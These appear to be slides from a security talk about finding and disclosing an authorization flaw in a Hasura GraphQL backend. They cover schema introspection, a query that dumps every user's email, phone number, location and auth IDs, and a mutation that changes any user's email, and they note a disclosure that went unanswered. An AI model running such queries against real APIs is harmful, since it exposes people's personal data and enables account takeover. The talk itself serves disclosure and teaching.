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How it all began

January 16, 2023



Intro: what is GraphQL?

● Data query language and API intro’d by Meta (2015)

● Client sends queries to backend
○ Rather than queries being stored on the server

● Use one query to aggregate multiple data sources
○ Abstracts query details of databases, microservices, etc.
○ Popular w/ “big social media” (FB, IG, Twitter, etc.)



GraphQL in the wild



Common GraphQL flow (e.g. Apollo)

Write a custom data source controller class per data source 



Hasura: GraphQL for arbitrary databases

● Plug-and-play: automatic configuration of 
data source controllers for databases
○ GraphQL schema inferred from database schema

● Can you see how a startup would 
appreciate this?



GraphQL security model

Remember this?



GraphQL security model
GraphQL is similar!



Step One: Run a Scan



A cheat code: schema introspection



All your phone numbers are belong to us
{ users {

id,
first_name,
last_name,
email,
phone_number,
location,
roles,
auth_service,
auth_id,
timezone,
created_at,
updated_at,
bio,
google_place_id

} }



But wait, there’s more…user modification!

mutation UpdateUserEmail () { 
update_users_by_pk ( 

pk_columns: { id: <ID> }
_set: { email: <EMAIL> }

)
}



Disclosure

30+ days, no response :(



(hypothetical) Remediation



(hypothetical) Remediation



Questions?


